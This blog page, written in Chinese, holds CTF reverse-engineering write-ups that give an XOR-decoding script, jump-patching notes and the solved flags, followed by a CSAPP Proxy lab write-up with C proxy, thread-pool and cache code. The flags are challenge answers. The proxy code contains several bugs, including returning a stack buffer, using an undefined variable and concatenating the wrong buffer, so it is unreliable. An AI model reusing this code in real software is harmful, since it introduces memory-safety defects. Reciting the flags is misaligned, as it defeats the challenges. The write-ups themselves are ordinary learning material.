消除逗号得到硬编码的flag:flag{Hardcodedpasswordsareuseless}

X-and-or

查看main:

main

code是一个运行后设置的地址,跳转到主要函数;从code里的判断可得知,输入长度为38;进入运算后循环38次,内部有固定数字进行异或运算并与输入内容比较;

code

循环的结尾是比较数据,需要使得eax最终为0;经过调试可以发现每次异或0~5的立方,满6归0;

写出脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
origin = [0x66, 0x6D, 0x69, 0x7C, 0x3B, 0x48, 0x36, 0x31, 0x3E, 0x28, 0x77, 0x19, 0x63, 0x31, 0x6C, 0x78, 0x24, 0x4E, 0x33, 0x63, 0x3D, 0x7D, 0x26, 0x4E, 0x37, 0x39, 0x30, 0x2B, 0x23, 0x1C, 0x31, 0x31, 0x6A, 0x29, 0x74, 0x1B, 0x62, 0x7C]

flag = [0] * 38

k = 0

for i in range(38):
flag[i] = chr(((k*k*k)) ^ origin[i])
k += 1
if k == 6:
k = 0

print(''.join(flag))

由此得到flag:flag{560637dc0dcd33b5ff37880ca10b24fb}

这题最有意思的是init函数,他把code的二进制内容异或上了0x42,需要将其变回来则再异或0x42,然后写在新的txt里,用IDA反编译,设置sp值,然后就能看到伪代码了:

code

Hash

I received a corrupted program the keys are probably lost within the game can you just find it for me to get the flag?.

Flag format : flag{key1+key2}

一开始看main觉得很奇怪,明明汇编有其他分支为什么伪代码始终显示的是 oops wrong path ?

结果发现是因为跳转的地方动了手脚:

jmp

它始终都是判断必走另一条路,所以找不到正确的上下文;本来以为很难的题一下就变成了渣渣题;

里里外外都改一下jmp,再运行一遍,它就自己吐flag了;

得出:flag{456789JKLq59U1337}

Cage

Are you aware of the scopes yet?

开场patch main_one函数得到正确的上下文;

main

发现需要输入一系列magic code,然后它会吐出已有的字符串,直接将字符串拼起来得到flag:

flag{0xm4tr1xreal}

Ware

My plaintext has been encrypted by an innocent friend of mine while playing around cryptographic libraries, can you help me to recover the plaintext , remembers it’s just numbers and there’s a space between some numbers which you need to remove the space and submit the recovered plain text as a flag.

开始一个upx直接脱掉;

搜索运行时的字符串得到flag:flag{32117406899806798980909}

WrongDownload

My key has been missing inside these two binaries can you help me to find it out ,as per my friend the key is divided in two parts between the two binaries so, remember you need to join them up before submitting as a flag.

直接反编译就能找到:flag{S6c56bnXQiBjk9mqSYE7ykVQ7NzrRy}

阅读全文
Proxy_lab

实现

一个web代理,并有多线程和缓存功能,所以一一来实现;

  • 根据 write up 中所说,首先需要实现 HTTP/1.0 GET 请求的顺序代理:读取整个请求并解析请求(是否是有效HTTP请求),如果是则建立自己到适当 web服务器的连接,请求客户端指定对象,再将响应转发回客户端;注意:HTTP请求每行以\r\n结束,并以\r\n为尾行;
    • 具体要做到将url解析为三部分:host,后半url,HTTP版本;
    • 请求头中包含ua,host,connection,proxy-connection;
    • 请求端口无论在url中还是默认的都必须正确;
    • 处理过早关闭的连接,需要捕获SIGPIPE;
  • 实现多线程工作(生产者-消费者);
  • 实现缓存最近内存中使用的web对象(LRU策略);
    • 设置缓存的最大内存,以及单个对象的最大内存;

handout给出了tiny服务器的源码,只需要在这个基础上进行改装;

Tiny解析

main函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
int main(int argc, char **argv) 
{
int listenfd, connfd;
char hostname[MAXLINE], port[MAXLINE];
socklen_t clientlen;
struct sockaddr_storage clientaddr;

//输入端口参数
if (argc != 2) {
fprintf(stderr, "usage: %s <port>\n", argv[0]);
exit(1);
}

//监听描述符
listenfd = Open_listenfd(argv[1]);
while (1) {
clientlen = sizeof(clientaddr);
//接受请求成为描述符
connfd = Accept(listenfd, (SA *)&clientaddr, &clientlen);
//读取套接字信息,IP和端口
Getnameinfo((SA *) &clientaddr, clientlen, hostname, MAXLINE,
port, MAXLINE, 0);
printf("Accepted connection from (%s, %s)\n", hostname, port);
//响应
doit(connfd);
//关闭接受描述符
Close(connfd);
}
}

doit函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
void doit(int fd) 
{
int is_static;
struct stat sbuf;
char buf[MAXLINE], method[MAXLINE], uri[MAXLINE], version[MAXLINE];
char filename[MAXLINE], cgiargs[MAXLINE];
rio_t rio;

//读取请求行
Rio_readinitb(&rio, fd);
if (!Rio_readlineb(&rio, buf, MAXLINE))
return;
printf("%s", buf);
sscanf(buf, "%s %s %s", method, uri, version); //解析请求行
if (strcasecmp(method, "GET")) { //是否为GET请求
clienterror(fd, method, "501", "Not Implemented",
"Tiny does not implement this method");
return;
}
read_requesthdrs(&rio); //显示请求行和头(printf)


is_static = parse_uri(uri, filename, cgiargs); //解析uri
if (stat(filename, &sbuf) < 0) {
clienterror(fd, filename, "404", "Not found",
"Tiny couldn't find this file");
return;
}

if (is_static) {
if (!(S_ISREG(sbuf.st_mode)) || !(S_IRUSR & sbuf.st_mode)) {
clienterror(fd, filename, "403", "Forbidden",
"Tiny couldn't read the file");
return;
}
serve_static(fd, filename, sbuf.st_size); //静态
}
else {
if (!(S_ISREG(sbuf.st_mode)) || !(S_IXUSR & sbuf.st_mode)) {
clienterror(fd, filename, "403", "Forbidden",
"Tiny couldn't run the CGI program");
return;
}
serve_dynamic(fd, filename, cgiargs); //动态
}
}

serve_static函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
void serve_static(int fd, char *filename, int filesize)
{
int srcfd;
char *srcp, filetype[MAXLINE], buf[MAXBUF];

//发送响应行和报头
get_filetype(filename, filetype);
sprintf(buf, "HTTP/1.0 200 OK\r\n");
Rio_writen(fd, buf, strlen(buf));
sprintf(buf, "Server: Tiny Web Server\r\n");
Rio_writen(fd, buf, strlen(buf));
sprintf(buf, "Content-length: %d\r\n", filesize);
Rio_writen(fd, buf, strlen(buf));
sprintf(buf, "Content-type: %s\r\n\r\n", filetype);
Rio_writen(fd, buf, strlen(buf));

//回响载体
srcfd = Open(filename, O_RDONLY, 0);
srcp = Mmap(0, filesize, PROT_READ, MAP_PRIVATE, srcfd, 0); //映射内存保证原文件纯净
Close(srcfd);
Rio_writen(fd, srcp, filesize);
Munmap(srcp, filesize);
}

serve_dynamic函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
void serve_dynamic(int fd, char *filename, char *cgiargs) 
{
char buf[MAXLINE], *emptylist[] = { NULL };

//行与报头
sprintf(buf, "HTTP/1.0 200 OK\r\n");
Rio_writen(fd, buf, strlen(buf));
sprintf(buf, "Server: Tiny Web Server\r\n");
Rio_writen(fd, buf, strlen(buf));

//子进程
if (Fork() == 0) {

setenv("QUERY_STRING", cgiargs, 1); //用url参数初始化环境变量
Dup2(fd, STDOUT_FILENO); //重定向输出到fd
Execve(filename, emptylist, environ); //运行CGI程序
}
Wait(NULL); //等待子进程结束回收
}

I . 顺序代理GET请求

writeup中的要求:

  1. 处理 HTTP/1.0 版本,如果遇到1.1,则需要将其作为1.0版本转发;

  2. 转发合法 HTTP 请求(实现中所示);

  3. 头中的 ua 和 两个 connection 都有给定的值:

    1
    2
    3
    "User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:10.0.3) Gecko/20120305Firefox/10.0.3\r\n"
    "Proxy-Connection: close"
    "Connection: close"

实际上要做的,就是将doit内的操作变为转发与回复,而不是单纯回响;

那么需要将发送的包写给目标服务器,之后把目标服务器的回响写给发送者;

要看uri中是否有端口那就应该解析uri,但和上面解析是不一样的,上面是在看读取的文件是静态还是动态;

主函数和tiny一样,只是需要在 listen之前加一条:

1
signal(SIGPIPE,SIG_IGN);

新建三个全局变量:

1
2
3
4
//uri解析记录变量
char send_port[MAXLINE];
char send_host[MAXLINE];
char send_path[MAXLINE];

doit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
void doit(int fd) 
{
char buf[MAXLINE], method[MAXLINE], uri[MAXLINE], version[MAXLINE];
char backbuf[MAXLINE],newhd[MAXLINE];
char *send;
rio_t rio,serverfd_rio;

//读取请求行
Rio_readinitb(&rio, fd);
if (!Rio_readlineb(&rio, buf, MAXLINE))
return;
printf("%s", buf);
sscanf(buf, "%s %s %s", method, uri, version); //解析请求行
if (strcasecmp(method, "GET")) { //是否为GET请求
clienterror(fd, method, "501", "Not Implemented",
"Tiny does not implement this method");
return;
}
read_requesthdrs(&rio); //显示请求行和头(printf)

//解析uri为host port path
parse_uri(uri);

//改写
sprintf(newhd, "GET %s HTTP/1.0\r\n", send_path);
send = built_message(newhd,&rio);

//开启远程服务器
int serverfd = Open_clientfd(send_host,send_port);
if (serverfd < 0)
{
printf("connection failed\n");
return;
}

Rio_readinitb(&serverfd_rio, serverfd);
//写入服务器
Rio_writen(serverfd, send, strlen(send));

size_t n;

//回响
while((n = Rio_readlineb(&serverfd_rio,backbuf,MAXLINE)) != 0)
{
printf("proxy received %d bytes,then send\n", (int)n);
Rio_writen(fd,backbuf,n);
}

Close (serverfd);
}

两个神奇函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
void parse_uri(char *uri)
{
//是否有host:port,port默认80
char *hostpath = strstr(uri,"//");
if(hostpath != NULL) //有
{
//是否有port
char *portpath = strstr(hostpath + 2,":");
if(portpath != NULL) //有
{
int num;
sscanf(portpath+1,"%d%s",&num,send_path);
sprintf(send_port,"%d",num);
*portpath = NULL;
}
else //无
{
char *path = strstr(hostpath + 2,"/");
if(path != NULL)
{
strcpy(send_path,path);
strcpy(send_port,"80");
*path = NULL;
}
}
strcpy(send_host,hostpath + 2);
return;
}
else //无
{
char *path = strstr(uri,"/");
if(path != NULL)
{
strcpy(send_path,path);
}
strcpy(send_port,"80");
return;
}
}

char *built_message( char *getit,rio_t *rp)
{
//构造新头
char buf[MAXLINE];
char rio[MAXLINE];
sprintf(buf,"%s",getit);
sprintf(buf,"%sHost: %s\r\n",buf,send_host);
sprintf(buf,"%sUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:10.0.3) Gecko/20120305 Firefox/10.0.3\r\n",buf);
sprintf(buf,"%sConnection: close\r\n",buf);
sprintf(buf,"%sProxy-Connection: close\r\n\r\n",buf);

//补上原内容
Rio_readnb(rp,rio,MAXLINE);
sprintf(buf,"%s%s",buf,rio);
return buf;
}

II . 多线程的并发

实现多线程使用 消费者-生产者 模型:

消费者和生产者共同使用一个 n个槽的优先缓冲区,生产者产生新的项目并插入缓冲区;消费者取出这些项目并使用;

因此两者的访问需要互斥,并且调度地访问:空状态(消费者等待),满状态(生产者等待);

在这个实验里,消费者就是服务端,接受各样的连接;生产者就是客户端,发送各样的连接;

实现缓冲区:

1
2
3
4
5
6
7
8
9
typedef struct {
int *buf; // 缓冲区数组
int n; // 槽的最大数量
int front; // buf[(front+1)%n] 是第一个项目
int rear; // buf[rear%n] 是最后一个项目
sem_t mutex; //互斥锁,初始化1
sem_t slots; //记录槽,初始化n
sem_t items; //记录项目,初始化0
} sbuf_t;

客户端插入函数:

1
2
3
4
5
6
7
8
void sbuf_insert(sbuf_t *sp, int item)
{
P(&sp->slots); // 对slots加锁,保证槽位满时,客户端挂起
P(&sp->mutex); // 对缓冲区互斥访问
sp->buf[(++sp->rear)%(sp->n)] = item; // 添加项目
V(&sp->mutex); // 解锁
V(&sp->items); //与slots对应地调整items
}

服务端实现后移除项目的函数:

1
2
3
4
5
6
7
8
9
10
int sbuf_remove(sbuf_t *sp)
{
int item;
P(&sp->items); // 如果项目没有,服务端挂起
P(&sp->mutex); // 加锁缓冲区
item = sp->buf[(++sp->front)%(sp->n)]; // 移除项目
V(&sp->mutex); // 解锁
V(&sp->slots);
return item; //返回客户端的描述符
}

主函数(和tiny的main差不多):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
int main(int argc, char **argv) 
{
int listenfd, connfd;
char hostname[MAXLINE], port[MAXLINE];
socklen_t clientlen;
struct sockaddr_storage clientaddr;

//输入端口参数
if (argc != 2) {
fprintf(stderr, "usage: %s <port>\n", argv[0]);
exit(1);
}
//阻塞SIGPIPE信号
signal(SIGPIPE,SIG_IGN);
//监听描述符
listenfd = Open_listenfd(argv[1]);

//创建线程
sbuf_init(&sbuf, SBUFSIZE);
for(int i = 0; i < NTHREADS; i++)
{
Pthread_create(&tid, NULL, thread, NULL);
}

while (1) {
clientlen = sizeof(clientaddr);
//接受请求成为描述符
connfd = Accept(listenfd, (SA *)&clientaddr, &clientlen);
//插入描述符
sbuf_insert(&sbuf, connfd);
//读取套接字信息,IP和端口
Getnameinfo((SA *) &clientaddr, clientlen, hostname, MAXLINE,
port, MAXLINE, 0);
printf("Accepted connection from (%s, %s)\n", hostname, port);
}
}

线程执行函数:

1
2
3
4
5
6
7
8
9
10
void *thread(void *vargp)
{
Pthread_detach(pthread_self());
while(1){
//从缓冲区中读出描述符
int connfd = sbuf_remove(&sbuf);

doit(connfd);
Close(connfd);}
}

III . 缓存web对象

目的是为了让多次访问的web对象不用再连接服务器,直接响应;

这里会使用 读者-写者 模型 ,让线程从缓存中读和写:

只读的线程叫读者,只写的进程叫写者,读者可以和其他读者共享只读部分,写者需要有独立的访问;

这个模型有两种情况:

读者优先,写者优先;

这里使用读优先:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
int read_cnt;		//记录读者数量
sem_t mutex, w; //都初始化为1,w导使有读无写,有写无读


void reader(void)
{
while(1){
P(&mutex);
readcnt++;
if(readcnt==1) //第一个读者导致w加锁,则写者挂起;
P(&w);
V(&mutex);

P(&mutex);
readcnt--;
if(readcnt==0) //最后一个读者结束解锁w
V(&w);
V(&mutex);
}
}

void writer(void)
{
while(1){
P(&w);

...

V(&w)
}
}

设置缓存区:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
typedef struct
{
char obj[MAX_OBJECT_SIZE];
char uri[MAXLINE];
int LRU;
int isEmpty;

int read_cnt; //读者数量
sem_t w; //Cache信号量
sem_t mutex; //read_cnt信号量

} block;

typedef struct
{
block data[MAX_CACHE];
int num;
} Cache;

修改doit函数中的内容,得到请求后,判断uri是否在缓存中,不在就添加进去:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
void doit(int fd) 
{
char buf[MAXLINE], method[MAXLINE], uri[MAXLINE], version[MAXLINE];
char backbuf[MAXLINE],newhd[MAXLINE];
char *send;
char cache_tag[MAXLINE];
rio_t rio,serverfd_rio;

//读取请求行
Rio_readinitb(&rio, fd);
if (!Rio_readlineb(&rio, buf, MAXLINE))
return;
printf("%s", buf);
sscanf(buf, "%s %s %s", method, uri, version); //解析请求行
strcpy(cache_tag,uri);
if (strcasecmp(method, "GET")) { //是否为GET请求
clienterror(fd, method, "501", "Not Implemented",
"Tiny does not implement this method");
return;
}
read_requesthdrs(&rio); //显示请求行和头(printf)

//uri是否存在缓存中
int i;
if ((i = get_Cache(cache_tag)) != -1)
{
//加锁
P(&cache.data[i].mutex);
cache.data[i].read_cnt++;
if (cache.data[i].read_cnt == 1)
P(&cache.data[i].w);
V(&cache.data[i].mutex);

Rio_writen(connfd, cache.data[i].obj, strlen(cache.data[i].obj));

P(&cache.data[i].mutex);
cache.data[i].read_cnt--;
if (cache.data[i].read_cnt == 0)
V(&cache.data[i].w);
V(&cache.data[i].mutex);
return;
}

//解析uri为host port path
parse_uri(uri);

//改写
sprintf(newhd, "GET %s HTTP/1.0\r\n", send_path);
send = built_message(newhd,&rio);

//开启远程服务器
int serverfd = Open_clientfd(send_host,send_port);
if (serverfd < 0)
{
printf("connection failed\n");
return;
}

Rio_readinitb(&serverfd_rio, serverfd);
//写入服务器
Rio_writen(serverfd, send, strlen(send));

char cache_buf[MAX_OBJECT_SIZE];
int size_buf = 0;
size_t n;

//回响
while((n = Rio_readlineb(&serverfd_rio,backbuf,MAXLINE)) != 0)
{
size_buf += n;
if(size_buf < MAX_OBJECT_SIZE)
strcat(cache_buf, buf);
printf("proxy received %d bytes,then send\n", (int)n);
Rio_writen(fd,backbuf,n);
}

Close (serverfd);

//没有就写入缓存
if(size_buf < MAX_OBJECT_SIZE){
write_Cache(cache_tag, cache_buf);
}

}

总结

虽然迷迷糊糊的,但跟着线程走了一遍,多多少少学会了更多的东西:比如信号量的运用,线程创建和运作方式,以及状态机和模型的特点;但这个lab确实感受到了难度,等往后学的深入再返回看的话应该还会有收获;

阅读全文